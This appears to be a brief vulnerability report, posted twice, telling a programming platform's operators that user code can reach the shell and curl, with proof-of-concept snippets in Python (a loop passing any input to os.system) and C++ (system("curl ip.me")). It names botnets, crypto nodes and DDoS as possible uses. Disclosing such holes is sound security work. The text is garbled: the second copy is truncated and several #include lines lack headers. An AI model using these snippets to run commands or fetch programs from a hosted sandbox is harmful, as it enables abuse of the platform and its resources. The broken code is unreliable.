Hey guys, I found that in your programming platform you could exploit the os's inbuilt curl ability and use it to download foreign programs. Possibly for a botnet, a crypto router (node) , or DDOSing . All done through using the inbuilt system libs. Here's poc with python and in cpp.
from os import system
while True:
system(input())
#include <stdlib.h> // Required for system()
#include
#include
int main() {
std::string string;
string = "curl ip.me";
system(string.c_str()); // Convert std::string to const char*
return 0;
}
Hey guys, I found that in your programming platform you could exploit the os's inbuilt curl ability and use it to download foreign programs. Possibly for a botnet, a crypto router (node) , or DDOSing . All done through using the inbuilt system libs. Here's poc with python and in cpp.
from os import system
while True:
system(input())
#include <stdlib.h> // Required for system()
#include
#include
int main() {
std::string string;
}